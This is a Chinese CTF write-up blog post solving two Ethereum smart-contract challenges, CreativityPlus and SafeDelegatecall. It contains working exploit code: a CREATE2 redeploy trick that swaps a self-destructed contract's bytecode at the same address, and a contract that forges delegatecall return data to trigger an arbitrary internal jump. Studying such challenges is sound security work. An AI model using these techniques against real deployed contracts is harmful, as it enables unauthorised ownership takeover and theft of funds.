Fork me on GitHub
pikachu's Blog

第五空间 CreativityPlus & SafeDelegatecall

前言

  • 第五空间 creativityplus 题目
  • creativityplus 题目有个非预期,直接部署一个字节 stop 指令也可以,0x600a600c60003960016000f3+00
  • 文章介绍预期解

CreativityPlus

  • 题目很简单,改编自 Creativity 题目,简称 CreativityPlus 升级版
  • 考点 create2bytecode
  • 题目逻辑如下:

    • 部署一个合约,大小不超过 4 字节
    • 调用 check ,参数是我们部署的合约地址
    • 调用 execute,使得返回值为 true,我们即可成为 owner
  • 但是我们没法在 4 个字节内 emit SendFlag

  • create2 骚操作,使用如下代码可将不同 bytecode 部署到同一个地址上,deployedAddr 即为部署的合约地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.5.10;

contract Deployer {
bytes public deployBytecode;
address public deployedAddr;

function deploy(bytes memory code) public {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';
assembly {
a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x8866)
}
deployedAddr = a;
}
}

contract Dumper {
constructor() public {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}
  • 所以题目的逻辑如下:

    • create2 的骚操作,部署一个合约 0x33ff ,即 selfdestruct(msg.sender)
    • 调用 check() ,让 target 为我们部署的合约地址
    • 给我们部署的合约发一笔空交易,让它自毁
    • 再次使用 create2 骚操作,在同一个地址部署合约,合约内容大小不超过 10 字节,返回 1
  • 返回值由 return(p, s) 操作码处理,但是在返回值之前,必须先存储在内存中,使用 mstore(p, v)1 存储在内存中

    • 首先,使用 mstore(p, v)1 存储在内存中,其中 p 是在内存中的存储位置, v 是十六进制值,1 的十六进制是 0x01

      1
      2
      3
      0x6001     ;PUSH1 0x01                  v
      0x6080 ;PUSH1 0x80 p
      0x52 ;MSTORE
    • 然后,使用 return(p, s) 返回 0x01 ,其中 p 是值 0x2a 存储的位置,s 是值 0x2a 存储所占的大小 0x20 ,占 32 字节

      1
      2
      3
      0x6020     ;PUSH1 0x20                  s
      0x6080 ;PUSH1 0x80 p
      0xf3 ;RETURN
  • 所以我们只需使用 Deployer.deploy 部署 0x600160805260206080f3 即可,正好 10 opcodes

  • 调用 execute 我们即可成为 owner

SafeDelegatecall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
pragma solidity ^0.4.23;

contract SafeDelegatecall {

address private owner;
bytes4 internal constant SET = bytes4(keccak256('fifth(uint256)'));
event SendFlag(address addr);
uint randomNumber = 0;

struct Func {
function() internal f;
}

constructor() public payable {
owner = msg.sender;
}

modifier onlyOwner {
require(msg.sender == owner);
_;
}

// 0x4b64e492
function execute(address _target) public payable{
require(_target.delegatecall(abi.encodeWithSelector(this.execute.selector)) == false, 'unsafe execution');

bytes4 sel;
uint val;

(sel, val) = getRet();
require(sel == SET);

Func memory func;
func.f = gift;
assembly {
mstore(func, sub(mload(func), val))
}
func.f();
}

// 0x24b04905
function gift() private {
payforflag();
}

// 0xc37e74c7
function getRet() internal pure returns (bytes4 sel, uint val) {
assembly {
if iszero(eq(returndatasize, 0x24)) { revert(0, 0) }
let ptr := mload(0x40)
returndatacopy(ptr, 0, 0x24)
sel := and(mload(ptr), 0xffffffff00000000000000000000000000000000000000000000000000000000)
val := mload(add(0x04, ptr))
}
}

// 0x80e10aa5
function payforflag() public payable onlyOwner {
require(msg.value == 1, 'I only need a little money!');
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}

function() payable public{}
}
  • 题目对 delegatecall 返回值进行检查,有效防止其篡改调用者合约的 storage 数据
  • 题目有个 backdoor,存在任意跳转,任意跳转的参数有两个 mload(func)和返回值 val,跳转的地址为它们的差值,跳转的目的地址为 0x3c1 即可,这个自己逆向可以分析出来,其中 mload(func) 的值为 0x48a,所以返回值 val = 0x48a-0x3c1 = 201
  • 部署以下合约得到攻击合约地址 addr ,调用 execute(addr) 即可
1
2
3
4
5
6
7
8
9
10
11
12
contract hack {
bytes4 internal constant SEL = bytes4(keccak256('fifth(uint256)'));

function execute(address) public pure {
bytes4 sel = SEL;
assembly {
mstore(0,sel)
mstore(0x4,201)
revert(0,0x24)
}
}
}
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2020/creativityplus/
Contact:hitcxy@hotmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!